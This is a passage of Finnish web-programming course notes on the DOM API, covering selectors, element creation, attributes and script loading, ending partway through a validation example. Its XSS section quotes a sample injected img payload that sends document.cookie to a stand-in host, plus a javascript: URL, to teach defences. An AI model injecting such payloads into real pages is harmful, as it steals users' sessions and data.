Document Object Model (DOM)

Luentovideo: DOM-rajapinnan perusteet. Jos video ei näy, katso se suoraan YouTubesta.

Vanha DOM-luento · vanha luentoesimerkki

DOM on standardi, jonka avulla voidaan manipuloida dynaamisesti XML- tai HTML-dokumenttien dokumenttipuuta.

Paras dokumentaatio löytyy Mozilla Development Networkin DOM-sivustolta. Jos haluat lukea aiheesta kirjan, lue DOM Enlightenment. Ajantasainen standardi on WHATWG:n DOM Standard.

DOM-standardista on useita eri versioita. Laajin rajapinta on selainympäristössä. Samaa, mutta suppeampaa rajapintaa, voi käyttää useimmilla ohjelmointikielillä. Katso luku Mikä toimii vain selaimessa.

Kukin elementti ja teksti muodostavat dokumenttipuuhun Node-tyypin olion. DOM:in tarjoamia ominaisuuksia ja metodeja voi tarkastella Firefoxin Inspectorilla, joka avautuu F12-näppäimellä tai valikosta Tools → Browser Tools → Web Developer Tools.

Firefoxin Inspector-näkymä, jossa sivun DOM-puu on avattuna sisäkkäisinä elementteinä
Sama dokumenttipuu selaimen omassa Inspector-näkymässä. Kolmioista voi avata ja sulkea elementtien sisältöä.

Käsitteitä

vanhempi-, äiti- tai isäelementti (engl. parent)
elementti, jonka sisällä ko. elementti välittömästi on.
lapsielementti (engl. child)
välittömästi ko. elementin sisällä oleva elementti
jälkeläinen (engl. descendant)
ko. elementin sisällä oleva elementti
esivanhempi, esiisä (engl. ancestor)
elementti, jonka jälkeläinen ko. elementti on
sisarelementti (engl. sibling)
elementit ovat sisaret, jos niillä on yhteinen vanhempielementti
edeltävä/seuraava sisarelementti (engl. preceding/following sibling)
edeltävä elementti on dokumenttipuussa ennen ko. elementtiä, seuraava on sen jälkeen

Käsitteet kaaviona

Seuraava html-koodi tuottaa alla olevan dokumenttipuun:

<html>
  <head>
    <title>Esimerkki</title>
  </head>
  <body>
    <section>
      <h1>Otsikko</h1>
      <ul>
        <li>Eka</li>
        <li><strong>Toka</strong></li>
      </ul>
      <p>Kappale</p>
    </section>
  </body>
</html>

Kaaviossa suhteet on värjätty ul-elementin näkökulmasta. Sama elementti on eri elementin näkökulmasta eri asemassa: jokainen suhde on aina suhteessa johonkin.

DOM-puun sukulaisuussuhteet ul-elementin näkökulmasta Puukaavio, jonka juuri on html-elementti. Sen lapsia ovat head ja body. Head-elementin lapsi on title. Body-elementin lapsi on section, jonka lapsia ovat h1, ul ja p. Ul-elementin lapsia ovat kaksi li-elementtiä, joista jälkimmäisen sisällä on strong-elementti. Kaaviossa ul on tarkasteltava elementti, section on sen vanhempi, body ja html ovat esivanhempia, h1 ja p ovat sisarelementtejä, kaksi li-elementtiä ovat lapsia, ja katkoviivalla rajattu alue sisältää jälkeläiset eli molemmat li-elementit ja strong-elementin. jälkeläiset <html> <head> <body> <title> <section> <h1> <ul> <p> <li> <li> <strong> ko. elementti vanhempi (parent) esivanhempi (ancestor) sisarelementti (sibling) lapsi (child) jälkeläinen (descendant) Vanhempi on lähin esivanhempi. Lapsi on aina myös jälkeläinen.
DOM-puun sukulaisuussuhteet ul-elementin näkökulmasta.
Vanha piirros DOM-puun käsitteistä: vanhempi, lapsi, jälkeläinen, esivanhempi ja sisarelementit
Sama asia luennolla käytetyssä vanhemmassa piirroksessa.

Kaaviosta näkyy kolme asiaa, jotka menevät usein sekaisin:

Suhteet ovat aina suhteellisia. Jos tarkastelisimme samaa puuta strong-elementin näkökulmasta, ul olisikin esivanhempi ja li vanhempi.

Document

Luentovideo: Document-objekti. Jos video ei näy, katso se suoraan YouTubesta.

Document-tyyppinen document-objekti vastaa aina yhtä selaimeen ladattua www-sivua (window.document). Dokumentti sisältää varsinaisen DOM-puun. Dokumentti perii ominaisuudet ja metodit Node- ja EventTarget-luokilta.

Riippuen siitä onko kyseessä html-dokumentti vai xml-dokumentti voi dokumentin ja muiden objektien rajapinta olla erilainen. Html-dokumenteilla on laajennettu rajapinta. Tähän vaikuttaa suoraan dokumentin mediatyyppi (text/html vs application/xhtml+xml tai application/xml). Tyypillisimmillään erot ilmenevät dokumentin päätettä vaihdettaessa (.html vs .xhtml).

Dokumentin tärkeimpiä ominaisuuksia ovat:

esimerkki

Dokumentin tärkeimpiä metodeja ovat:

Esimerkki 1

Esimerkki 2

Node

Luentovideo: Node-rajapinta. Jos video ei näy, katso se suoraan YouTubesta.

Node on abstrakti pääluokka, johon perustuvat kaikki muut DOM-puussa esiintyvät objektit, joista tärkeimmät ovat Element ja Document. Myös teksti on oma nodensa: Text.

Noden tarkka kuvaus löytyy MDN:n Node-sivulta. Tässä on lueteltu tärkeimmät ominaisuudet:

Huomaa, että nämä ovat ominaisuuksia eivätkä metodeja — niissä ei ole sulkeita. node.nodeValue on oikein, node.nodeValue() tuottaa virheen.

Esimerkki childNodes-, nodeType-, nodeValue- ja textContent-ominaisuuksista.

Esimerkki noden firstChild- ja nextSibling-ominaisuuksista sekä elementin nextElementSibling-ominaisuudesta.

Noden tärkeimmät metodit ovat:

Esimerkki noden appendChild()-, cloneNode()-, insertBefore()-, removeChild()- ja replaceChild()-metodeista

Element

Luentovideo: Element-rajapinta. Jos video ei näy, katso se suoraan YouTubesta.

Element perii kaikki Noden ominaisuudet. Näiden lisäksi Elementin tärkeimpiä ominaisuuksia ovat seuraavat:

Element-tason ominaisuudet ohittavat tekstinodet, mikä on yleensä juuri se mitä halutaan. Vertaa: childNodes sisältää myös rivinvaihdot ja välilyönnit tekstinodeina, children ei.

Esimerkki Elementin tagName-, id-, clientHeight-, clientWidth- ja nextElementSibling-ominaisuuksista

Elementillä on Nodelta perittyjen metodien lisäksi seuraavia tärkeitä metodeja:

closest() on erityisen hyödyllinen tapahtumankäsittelyssä: kun käyttäjä klikkaa nappia, tapahtuman kohteena voi olla napin sisällä oleva kuva tai teksti, ja closest("button") löytää sen napin, jota oikeasti tarkoitettiin.

Esimerkki Elementin setAttribute()-, getAttribute()-, insertAdjacentElement()-, hasAttribute()- ja remove()-metodeista.

Elementtien etsiminen css-valitsimilla

querySelector() ja querySelectorAll() ovat nykyään tavallisimmat tavat hakea elementtejä. Niiden parametri on css-valitsin — täsmälleen samaa kieltä kuin tyylitiedostossa. Jos osaat kirjoittaa säännön CSS:ään, osaat hakea saman elementin javascriptillä.

/* tyylitiedostossa */
ul.valikko > li.aktiivinen {
  font-weight: bold;
}
// javascriptissä täsmälleen sama valitsin
const alkio = document.querySelector("ul.valikko > li.aktiivinen");

Tavallisimmat valitsimet

ValitsinOsuu
"#tulos"elementti, jonka id on tulos
".virhe"elementit, joilla on luokka virhe
"li"kaikki li-elementit
"li.valittu"li-elementit, joilla on luokka valittu
".a.b"elementit, joilla on molemmat luokat
"section li"li-elementit, jotka ovat section-elementin jälkeläisiä
"ul > li"li-elementit, jotka ovat ul-elementin välittömiä lapsia
"h1 + p"p, joka on heti h1-elementin jälkeen
"h1, h2, h3"kaikki kolme (pilkku tarkoittaa "tai")
"[data-tila]"elementit, joilla on kyseinen attribuutti
"input[type='checkbox']"attribuutin arvon perusteella
"input[type='checkbox']:checked"valitut valintaruudut
"tr:nth-child(2n)"joka toinen taulukon rivi
"li:first-child"ensimmäinen lapsi
"li:not(.piilossa)"kaikki paitsi ne, joilla on luokka

Huomaa lainausmerkit: koko valitsin on javascript-merkkijono, ja attribuutin arvon ympärillä olevat lainausmerkit ovat osa valitsinta. Käytä siksi eri lainausmerkkejä sisällä ja ulkona, tai template-merkkijonoa:

document.querySelector('input[type="checkbox"]');    // ulkona heittomerkit
document.querySelector("input[type='checkbox']");    // tai toisin päin

const tila = "valmis";
document.querySelectorAll(`li[data-tila="${tila}"]`);   // arvo muuttujasta

Paluuarvot

Metodit eroavat toisistaan siinä, mitä ne palauttavat — ja tämä on yleisin virheen lähde:

const otsikko = document.querySelector("h1");
if (otsikko === null) {
  console.error("Otsikkoa ei löytynyt");
  return;
}
otsikko.textContent = "Uusi otsikko";

// querySelectorAll ei tarvitse null-tarkistusta:
for (const rivi of document.querySelectorAll("li.puuttuu")) {
  // silmukka ei suoritu kertaakaan, eikä se ole virhe
}
console.log(document.querySelectorAll("li.puuttuu").length);   // 0

Tarkista aina querySelector-metodin paluuarvo, jos ei ole varmaa että elementti on olemassa. Muuten seuraava rivi kaatuu virheeseen "Cannot read properties of null". Sama koskee getElementById-metodia.

Milloin mikäkin

MetodiPalauttaaElävä?Käyttö
getElementById() elementti tai null — kun elementillä on id. Nopein ja selkein.
querySelector() elementti tai null — kaikki muut yksittäiset haut
querySelectorAll() NodeList ei joukon haku, kun joukkoa muokataan
getElementsByTagName() HTMLCollection kyllä kun halutaan elävä näkymä
getElementsByClassName() HTMLCollection kyllä kun halutaan elävä näkymä

document.getElementById("tulos") ja document.querySelector("#tulos") tekevät saman asian. getElementById on hivenen nopeampi, mutta ero näkyy vasta kymmenissä tuhansissa kutsuissa. Valitse se, joka on luettavampi.

Kaksi sudenkuoppaa

1. Valitsin osuu jälkeläisiin, ei vain lapsiin. Kun kutsut metodia elementille, haku kohdistuu koko sen alipuuhun:

section.querySelectorAll("li");     // KAIKKI li-elementit sectionin sisällä,
                                    // olivatpa ne kuinka syvällä tahansa
section.querySelectorAll("> li");   // VIRHE: valitsin ei voi alkaa >-merkillä
section.querySelectorAll(":scope > li");   // vain välittömät lapset

:scope tarkoittaa sitä elementtiä, jolle metodia kutsuttiin. Ilman sitä käytä section.children-ominaisuutta.

2. Valitsin tulkitaan koko dokumenttia vasten. Tämä yllättää useimmat. Kun kirjoitat section.querySelectorAll("div p"), selain etsii ensin kaikki p-elementit, joilla on div-esivanhempi missä tahansa dokumentissa, ja poimii niistä ne, jotka ovat section-elementin sisällä. Osuma voi siis tulla myös silloin, kun div on section-elementin ulkopuolella:

<div>
  <section id="osio">
    <p>Tämä osuu, vaikka div on sectionin ULKOPUOLELLA</p>
  </section>
</div>
const osio = document.getElementById("osio");
osio.querySelectorAll("div p").length;          // 1  <-- yllättävää
osio.querySelectorAll(":scope div p").length;   // 0  <-- odotettu tulos

Lisätietoa: Element.querySelectorAll() ja CSS-valitsimet MDN:ssä.

closest() ja matches()

Samaa valitsinkieltä käyttävät myös nämä kaksi. querySelector etsii alaspäin, closest ylöspäin:

// lähin esivanhempi (tai elementti itse), joka vastaa valitsinta
const rivi = elementti.closest("li");

// testaa, vastaako elementti valitsinta
if (elementti.matches("input[type='checkbox']")) {
  console.log("tämä on valintaruutu");
}

closest() on korvaamaton tapahtumankäsittelyssä. Kun käyttäjä klikkaa nappia, tapahtuman kohteena voi olla napin sisällä oleva kuva tai teksti — ei nappi itse. event.target.closest("button") löytää sen napin, jota oikeasti tarkoitettiin.

Elementtien luominen, lisääminen ja poistaminen

Uusi elementti luodaan document.createElement()-metodilla. Luotu elementti ei näy sivulla ennen kuin se liitetään dokumenttipuuhun.

const rivi = document.createElement("li");
rivi.textContent = "Uusi rivi";
document.getElementById("lista").append(rivi);

Modernit lisäysmetodit

Noden vanhat metodit (appendChild, insertBefore, removeChild, replaceChild) toimivat edelleen ja ne on hyvä tuntea, mutta uudemmat metodit ovat useimmiten selkeämpiä. Erot: uudet ottavat vastaan useita argumentteja kerralla, hyväksyvät myös merkkijonoja (jotka lisätään tekstinä, eivät HTML:nä) eivätkä vaadi viittausta vanhempielementtiin.

const lista = document.getElementById("lista");

lista.append(rivi1, rivi2, rivi3);   // useita kerralla
lista.replaceChildren();             // tyhjentää listan
rivi1.remove();                      // ei tarvita vanhempielementtiä
vanha.replaceWith(uusi);

Vanha tapa poistaa elementti vaati kiertotien vanhemman kautta:

vanha.parentNode.removeChild(vanha);   // vanha tapa
vanha.remove();                        // sama asia lyhyemmin

DocumentFragment

Kun rakennetaan monta elementtiä kerralla, jokainen erillinen lisäys puuhun saa selaimen laskemaan sivun asettelun uudelleen. Kokoa elementit ensin irralliseen DocumentFragment-säiliöön ja liitä se puuhun kerralla:

const fragmentti = document.createDocumentFragment();

for (const nimi of nimet) {
  const rivi = document.createElement("li");
  rivi.textContent = nimi;
  fragmentti.append(rivi);        // ei vielä sivulla
}

lista.append(fragmentti);         // yksi ainoa muutos puuhun

Fragmentti itse ei päädy puuhun, vaan sen lapset siirtyvät kohteeseen ja fragmentti jää tyhjäksi.

Tekstin ja rakenteen asettaminen

Elementin tekstisisältö asetetaan ja luetaan textContent-ominaisuudella.

otsikko.textContent = "Uusi otsikko";
const teksti = otsikko.textContent;
otsikko.textContent = "";           // tyhjentää elementin sisällön

textContent on turvallinen. Se käsittelee kaiken tekstinä, joten käyttäjän syöttämä <script> päätyy sivulle näkyväksi tekstiksi eikä suoritettavaksi koodiksi.

Seuraavia ei pidä käyttää. Ne tulkitsevat merkkijonon sisällön HTML-rakenteeksi, jolloin käyttäjältä tullut sisältö voi tuoda sivulle koodia. Näillä saa myös helposti rikottua DOM-puun rakenteen:

Ongelma ei ole se, etteivät ne osaisi käsitellä merkkejä <, > ja & — päinvastoin, ne tulkitsevat ne rakenteeksi, ja juuri se on vaarallista. Rakenna rakenne createElement-metodilla ja teksti textContent-ominaisuudella.

Lisäksi innerHTML käyttäytyy eri tavalla XHTML-tilassa: siellä se hyväksyy vain hyvinmuodostuneen fragmentin, eikä document.write ole olemassa lainkaan.

XSS ja innerHTML

Edellisessä luvussa oli ohje: käytä textContent-ominaisuutta äläkä innerHTML-ominaisuutta. Tässä on sen syy, ja se on selainohjelmoijan tärkein turvallisuusaihe — joka kerta kun rakennat DOM-puuta datasta, kyse on tästä.

Cross-site scripting eli XSS tarkoittaa sitä, että hyökkääjän kirjoittama javascript päätyy suoritettavaksi toisen käyttäjän selaimessa osana sinun sivuasi. Silloin se pääsee kaikkeen mihin sivusi pääsee: evästeisiin, localStorageen, istuntoon ja käyttäjän puolesta tehtäviin pyyntöihin.

Mistä se syntyy

Lähde on aina sama: dataa käsitellään merkkauksena.

// VAARALLINEN. Jos nimi on peräisin käyttäjältä, palvelimelta tai
// osoiteriviltä, se voi sisältää mitä tahansa merkkausta.
kohde.innerHTML = `<p>Tervetuloa, ${nimi}!</p>`;

Jos nimi-muuttujan arvo on

<img src="x" onerror="fetch('https://example.invalid/?e=' + document.cookie)" />

niin selain lisää kuvan, kuvan lataaminen epäonnistuu, onerror-käsittelijä suoritetaan ja evästeet lähtevät hyökkääjälle. Huomaa, ettei tämä vaadi script-elementtiä: sellainen ei edes suorittuisi innerHTML-ominaisuuden kautta lisättynä, mutta tapahtuma-attribuutit suorittuvat.

Ratkaisu

Älä koskaan yhdistä dataa merkkaukseen merkkijonona. Luo elementit ja aseta tekstit erikseen — silloin tekstiä käsitellään tekstinä eikä merkkauksena.

// TURVALLINEN. textContent asettaa tekstin tekstinä: merkit < ja >
// näkyvät sellaisinaan eikä niistä tule elementtejä.
const kappale = document.createElement("p");
kappale.textContent = `Tervetuloa, ${nimi}!`;

kohde.replaceChildren(kappale);
TapaTurvallisuus
textContentturvallinen aina
createElement + appendturvallinen aina
template + cloneNodeturvallinen, kun arvot asetetaan textContent-ominaisuudella
setAttributeturvallinen paitsi osoiteattribuuteissa, kts. alla
innerHTMLturvallinen vain jos merkkaus on kokonaan omaa
insertAdjacentHTMLsama riski kuin innerHTML

innerHTML ei siis ole kiellettu. Se on turvallinen silloin kun merkkaus on kirjoitettu itse eikä siinä ole yhtään muuttujaa:

// Turvallinen: ei yhtään käyttäjän dataa
pohja.innerHTML = `
  <article class="kortti">
    <h3></h3>
    <p class="valmistaja"></p>
  </article>
`;

Osoitteet ovat oma tapaus

Attribuutin asettaminen on yleensä turvallista, mutta osoiteattribuutit eivät ole. javascript:-alkuinen osoite suorittaa koodia klikattaessa:

// VAARALLINEN jos osoite tulee datasta
linkki.href = auto.kotisivu;   // "javascript:alert(document.cookie)"

Tarkista protokolla ennen asettamista:

const turvallinenOsoite = function (teksti) {
  try {
    const osoite = new URL(teksti);

    // vain nämä kaksi protokollaa sallitaan
    if (osoite.protocol === "https:" || osoite.protocol === "http:") {
      return osoite.href;
    }
  }
  catch (e) {
    // URL-konstruktori heittää poikkeuksen kelvottomasta osoitteesta
  }

  return null;
};

Samaan ryhmään kuuluvat src, action, formaction ja srcdoc.

Sama data kahdella tavalla. Ylempi laatikko suorittaa datassa olevan koodin — konsoliin ilmestyy rivi, jota sinne ei pitäisi tulla. Vaihda NIMI-vakion arvoksi pelkkä nimi ja aja uudelleen. Erillisenä sivuna: xss.html.

Muita suojia

Jos on pakko näyttää käyttäjän HTML:ää — esimerkiksi tekstieditorin tuottamaa — se on puhdistettava kirjastolla, joka poistaa vaaralliset osat. Älä kirjoita puhdistinta itse: se on täynnä erikoistapauksia. Vakiintunut valinta on DOMPurify.

Content Security Policy on palvelimen lähettämä otsake, joka rajaa mistä skriptejä saa ladata ja estää tavallisesti myös tapahtuma-attribuuttien suorittamisen. Se on toinen suojakerros — ei korvaa oikeaa koodia, mutta rajaa vahingon jos jokin menee läpi. Kts. CSP.

target="_blank" ja rel="noopener". Uuteen välilehteen avattu sivu pääsi ennen käsiksi avaajaansa window.opener-ominaisuuden kautta. Nykyselaimet katkaisevat yhteyden itsestään, mutta rel="noopener noreferrer" kannattaa kirjoittaa näkyviin — se toimii myös vanhemmissa selaimissa eikä maksa mitään.

Luokat ja tyylit

Elementin ulkoasua ei muuteta asettamalla tyylejä yksitellen javascriptillä, vaan vaihtamalla elementin luokkaa ja määrittelemällä ulkoasu CSS-tiedostossa. Näin ulkoasu pysyy siellä minne se kuuluu.

classList tarjoaa tähän siistin rajapinnan:

elementti.classList.add("virhe");
elementti.classList.remove("virhe");
elementti.classList.toggle("piilossa");          // päälle tai pois
elementti.classList.toggle("valittu", ehto);     // ehdon mukaan
elementti.classList.contains("virhe");           // true tai false
elementti.classList.replace("vanha", "uusi");

Vertaa vanhaan tapaan, jossa className on yksi merkkijono ja luokkien lisääminen ja poistaminen vaatii merkkijonojen pyörittelyä. Sitä ei kannata tehdä.

Yksittäisen tyylin voi tarvittaessa asettaa style-ominaisuudella. Huomaa, että CSS:n väliviivalliset nimet kirjoitetaan camelCase-muodossa ja arvot ovat merkkijonoja yksikköineen:

elementti.style.backgroundColor = "red";   // CSS: background-color
elementti.style.marginTop = "1em";         // yksikkö on pakollinen

Käytä tätä vain silloin, kun arvo lasketaan ajon aikana — esimerkiksi palkkidiagrammin korkeus. Kaikki muu kuuluu tyylitiedostoon.

Lasketun, voimassa olevan tyylin saa getComputedStyle()-funktiolla. Huomaa, että element.style kertoo vain elementille suoraan asetetut tyylit, ei tyylitiedostosta tulevia.

Datan liittäminen elementtiin

Luentovideo: Javascript-objektin ominaisuudet vs. HTML-elementin attribuutit. Jos video ei näy, katso se suoraan YouTubesta.

DOM-elementti on javascript-objekti, mutta se on erikoisobjekti: sen ominaisuudet eivät ole sama asia kuin HTML-elementin attribuutit, vaikka ne usein näyttävät siltä.

const kentta = document.getElementById("nimi");

// 1. HTML-attribuutti: näkyy sivun lähdekoodissa, arvo on AINA merkkijono
kentta.getAttribute("maxlength");     // "20"  (merkkijono!)
kentta.setAttribute("maxlength", 30);

// 2. DOM-ominaisuus: elementtiobjektin kenttä, tyypitetty
kentta.maxLength;                     // 20    (numero)
kentta.maxLength = 30;

Osalla attribuuteista ja ominaisuuksista on eri nimi (class ↔ className, maxlength ↔ maxLength, for ↔ htmlFor), koska class ja for ovat javascriptin varattuja sanoja.

Tärkein ero tulee esiin lomakekentissä. value-attribuutti kertoo kentän alkuarvon, value-ominaisuus sen nykyisen arvon:

// käyttäjä on kirjoittanut kenttään "Oona", HTML:ssä lukee value="oletus"
kentta.value;                    // "Oona"    <-- tätä haluat lähes aina
kentta.getAttribute("value");    // "oletus"

Lomake-elementtien arvot luetaan siis value-ominaisuudesta, ei attribuutista. Sama koskee checked- ja selected-tiloja.

Omat ominaisuudet

Javascriptillä voi liittää DOM-elementtiin minkä tahansa oman ominaisuuden, aivan kuten mihin tahansa objektiin. Tämä on yleensä paras tapa liittää dataa elementtiin: arvo voi olla mitä tahansa — numero, objekti, taulukko tai vaikka koko tietue — eikä sitä tarvitse muuntaa merkkijonoksi edestakaisin.

const rivi = document.createElement("li");
rivi.tuote = { id: 42, nimi: "Kissa", hinta: 19.9 };   // oma ominaisuus

// myöhemmin, esimerkiksi tapahtumankäsittelijässä:
console.log(rivi.tuote.hinta);     // 19.9, oikeana numerona

Oma ominaisuus elää vain muistissa eikä näy sivun lähdekoodissa:

rivi.getAttribute("tuote");        // null — attribuuttia ei ole olemassa

Tämä on ominaisuus eikä puute. Data pysyy javascriptin puolella siinä muodossa, jossa sitä käsitellään, eikä sivun lähdekoodi täyty tiedosta, joka ei kuulu sinne.

data-*-attribuutit ja dataset

Jos data on syytä näkyä myös HTML-koodissa, siihen on olemassa data-*-attribuutit ja niitä vastaava dataset-ominaisuus:

<li data-tuote-id="42">Kissa</li>
const rivi = document.querySelector("li");
rivi.dataset.tuoteId;            // "42" — huomaa camelCase ja MERKKIJONO
rivi.dataset.tuoteId = "43";     // muuttaa myös HTML-attribuuttia

Älä käytä data-*-attribuutteja ilman oikeaa syytä. Käytä niitä vain silloin, kun datan on tarkoituskin olla näkyvissä html-koodissa. Tällaisia tilanteita on kolme: palvelin tuottaa sivun valmiiksi ja arvo on luettava sieltä, CSS-valitsimen pitää päästä arvoon käsiksi (li[data-tila="valmis"]), tai sivun rakenne kuvaa itseään muille työkaluille.

Muista myös rajoitukset: dataset-arvot ovat aina merkkijonoja, joten numerot on muunnettava Number()-funktiolla ja objektit kulkevat JSON.stringify-muunnoksen kautta. Oma ominaisuus välttää molemmat kiertotiet.

Esimerkki attribuuteista ja ominaisuuksista

NodeList ja HTMLCollection

Luentovideo: NodeList ja HTMLCollection. Jos video ei näy, katso se suoraan YouTubesta.

Monet metodit palauttavat kokoelman nodeja tai elementtejä. NodeList voi sisältää mitä tahansa nodeja, HTMLCollection vain elementtejä.

Elävä vai staattinen

Molemmat voivat olla eläviä, eli ne heijastavat DOM-puuhun tehtyjä muutoksia automaattisesti sen jälkeenkin, kun kokoelma on haettu.

Mistä saadaanTyyppiElävä?
node.childNodesNodeListkyllä
element.childrenHTMLCollectionkyllä
getElementsByTagName()HTMLCollectionkyllä
getElementsByClassName()HTMLCollectionkyllä
document.formsHTMLCollectionkyllä
querySelectorAll()NodeListei, staattinen

Eläväisyys on yleisin syy siihen, että silmukka käyttäytyy odottamattomasti. Seuraava poistaa vain joka toisen alkion, koska kokoelma lyhenee samalla kun sitä käydään läpi:

const rivit = lista.getElementsByTagName("li");   // ELÄVÄ kokoelma

for (let i = 0; i < rivit.length; i++) {
  rivit[i].remove();        // VÄÄRIN: rivit.length pienenee joka kierroksella
}

Korjaustapoja on kolme. Käy silmukka läpi lopusta alkuun, ota kokoelmasta tilannekuva Array.from()-funktiolla, tai hae kokoelma querySelectorAll()-metodilla, joka palauttaa staattisen listan:

for (const rivi of Array.from(rivit)) {   // tilannekuva ennen muokkausta
  rivi.remove();
}

for (const rivi of lista.querySelectorAll("li")) {   // staattinen alun perin
  rivi.remove();
}

lista.replaceChildren();                 // tai yksinkertaisesti näin

Kokoelma ei ole taulukko

Kumpikaan kokoelma ei ole taulukko, vaikka niissä on length ja niitä voi indeksoida hakasulkeilla. Erot kannattaa tietää:

Kun tarvitset taulukon metodeja, muunna kokoelma taulukoksi:

const elementit = Array.from(document.querySelectorAll("li"));
const kopio = [...document.querySelectorAll("li")];     // sama levitysoperaattorilla

const tekstit = elementit.map(e => e.textContent);
const nakyvat = elementit.filter(e => !e.classList.contains("piilossa"));

Window

Luentovideo: Window-objekti. Jos video ei näy, katso se suoraan YouTubesta.

Globaali window-muuttuja vastaa aina yhtä www-dokumentti-ikkunaa tai välilehteä. Window-muuttujan kautta pääsee käsiksi varsinaiseen dokumenttiin (window.document). Window-objektin ominaisuuksiin pääsee normaalisti käsiksi ilman window-objektin nimeä, eli document on sama kuin window.document.

Window-objektin tärkeimpiä ominaisuuksia ovat:

Huomaa, että storage-rajapinnat tallentavat vain merkkijonoja. Objektit ja taulukot kulkevat JSON.stringify- ja JSON.parse-muunnosten kautta:

localStorage.setItem("asetukset", JSON.stringify(asetukset));
const asetukset = JSON.parse(localStorage.getItem("asetukset") ?? "{}");

Window-objektin tärkeimpiä metodeja ovat:

alert, confirm ja prompt sopivat vain nopeaan kokeiluun. Ne pysäyttävät koko sivun suorituksen, niitä ei voi tyylitellä, ja selain voi estää ne kokonaan. Oikeassa käyttöliittymässä käytetään dialog-elementtiä tai sivun omia elementtejä.

Esimerkki

Skriptin lataaminen ja lataustapahtumat

Jos script-elementti on head-osassa ilman defer-attribuuttia, skripti ladataan ja suoritetaan heti — ennen kuin sivun body on olemassa. Silloin esimerkiksi

document.getElementById("tulos");

palauttaa null, koska elementtiä ei vielä ole. Tämä on ylivoimaisesti yleisin aloittelijan virhe, ja virheilmoitus ("Cannot set properties of null") ei kerro syytä kovin selvästi.

Ongelmaan on kaksi ratkaisua, ja kumpikin on hyväksyttävä.

1. defer-attribuutti. Skripti ladataan rinnakkain sivun kanssa, mutta suoritetaan vasta kun koko dokumentti on jäsennetty. Tämä on suositeltavin tapa, koska se ei vaadi koodilta mitään. Huomaa XML-muoto:

<script src="malli.js" defer="defer"></script>

2. Lataustapahtuman odottaminen koodissa. Osa kurssin esimerkeistä on kirjoitettu ilman defer-attribuuttia. Niitä ei tarvitse muuttaa — riittää, että käynnistät oman koodisi vasta kun dokumentti on valmis:

"use strict";

function alusta() {
  // kaikki DOM-käsittely tänne
  document.getElementById("tulos").textContent = "Valmis";
}

// DOMContentLoaded laukeaa, kun HTML on jäsennetty ja DOM-puu on rakennettu.
// Tämä on lähes aina se, mitä haluat.
document.addEventListener("DOMContentLoaded", alusta);

DOMContentLoaded ei odota kuvia, tyylitiedostoja eikä muita ulkoisia resursseja. Jos tarvitset esimerkiksi kuvan lopullisia mittoja, käytä load-tapahtumaa, joka laukeaa vasta kun kaikki on ladattu:

window.addEventListener("load", function () {
  // kaikki resurssit (kuvat, tyylit, fontit) ovat nyt valmiina
});
TapaMilloin koodi ajetaanKäyttö
script head-osassa ilman deferheti, ennen DOM:iavain jos koodi ei koske DOM:iin
defer="defer"DOM valmissuositeltu oletus
DOMContentLoadedDOM valmiskun et voi muuttaa HTML:ää
loadkaikki resurssit valmiinakun tarvitset kuvien mitat tms.
type="module"DOM valmis (defer on oletus)moduulit

Näiden yhdistäminen on turvallista: defer-skriptissä oleva DOMContentLoaded-kuuntelija ehtii rekisteröityä ajoissa, joten se laukeaa normaalisti.

CDATA

CDATA-lohkolla merkitään XML-dokumentissa teksti, jota ei tulkita rakenteeksi. Sen sisällä voi käyttää merkkejä &, < ja > vapaasti.

<![CDATA[
Tähän väliin voi kirjoittaa mitä vaan eikä tämä riko sivun rakennetta.
]]>

CDATA on XML-ominaisuus eikä toimi HTML-dokumenteissa. Jos sivu tarjoillaan tyyppinä text/html, HTML-jäsennin tulkitsee <![CDATA[...]]>-lohkon kommentiksi. Sama tiedosto voi siis käyttäytyä eri tavalla .html- ja .xhtml-päätteisenä.

Käytännössä CDATA tulee vastaan silloin, kun XHTML-sivun sisään kirjoitetaan script- tai style-lohko: XML-jäsennin tulkitsisi niiden sisällä olevat <- ja &-merkit rakenteeksi. Yksinkertaisin ratkaisu on olla kirjoittamatta koodia sivun sisään ja laittaa se erilliseen tiedostoon — silloin CDATA-lohkoja ei tarvita lainkaan.

Huomioitavaa

Esimerkki

Mikä toimii vain selaimessa

Kurssin materiaaleissa käytetään pääasiassa yleisiä DOM-rajapinnan metodeja. Tämä tarkoittaa, että samat metodit toimivat muuallakin kuin selainympäristössä. Voisit esimerkiksi kirjoittaa python-ohjelman, joka käsittelee XML-tiedostoja, ja käytössäsi olisivat tismalleen samat metodit.

Kaikki ei kuitenkaan ole yleistä DOM:ia. Alla oleva ryhmittely on käytännöllinen eikä standardikohtainen: se kertoo, mitä yleiskäyttöiset XML-kirjastot kuten libxml2 tyypillisesti tukevat ja mitä eivät. Tarkka tuki vaihtelee kirjastoittain ja versioittain.

1. Ydin-DOM — toimii myös muualla

Nämä löytyvät myös libxml2:sta ja vastaavista XML-kirjastoista, esimerkiksi Pythonin xml.dom.minidom-moduulista:

2. Moderni DOM — vaihteleva tuki muualla

Nämä kuuluvat DOM-standardiin mutta ovat sen uudempia osia. Selaimissa ne ovat kaikki käytettävissä; XML-kirjastoista ne usein puuttuvat tai vaativat lisäosan. Esimerkiksi css-valitsimet vaativat Pythonissa erillisen cssselect-paketin.

3. Vain selaimessa

Nämä ovat HTML-kohtaisia tai selainympäristön rajapintoja. Ne eivät toimi XML-kirjastoissa lainkaan:

Selainten HTML-rajapinnat

Selainympäristössä on sisäänrakennettuna useita lisäominaisuuksia, joista osaa voi myös käyttää. Näistä voi olla paljonkin apua:

Dynaamisesti tuotetun sivun tarkistaminen

Luentovideo: dynaamisen sivun tarkistaminen. Jos video ei näy, katso se suoraan YouTubesta.

Tavallinen validointi näkee vain staattisen lähdekoodin. Kun javascript-koodisi muokkaa sivua, validaattori ei näe siitä mitään — eikä mikään estä ohjelmaa tuottamasta rikkinäistä rakennetta. Tämä on juuri se tilanne, jossa virheet oikeasti syntyvät.

Tapa 1: kopioi nykyinen DOM

Aja ohjelmaasi siihen tilanteeseen, jonka haluat tarkistaa. Avaa sitten kehittäjätyökalujen Inspector, klikkaa html-elementtiä hiiren oikealla ja valitse Copy → Outer HTML. Liitä tulos validaattorin tekstikenttään.

Sama onnistuu konsolista:

copy(document.documentElement.outerHTML);   // vie leikepöydälle

copy() on konsolin oma apufunktio, ei osa javascript-kieltä.

Tapa 2: validoi ohjelmasta käsin

Nu Html Checkerilla on rajapinta, jolle voi lähettää dokumentin ja saada virheet takaisin JSON-muodossa:

async function validoi() {
  const lahde = "<!DOCTYPE html>\n" + document.documentElement.outerHTML;

  try {
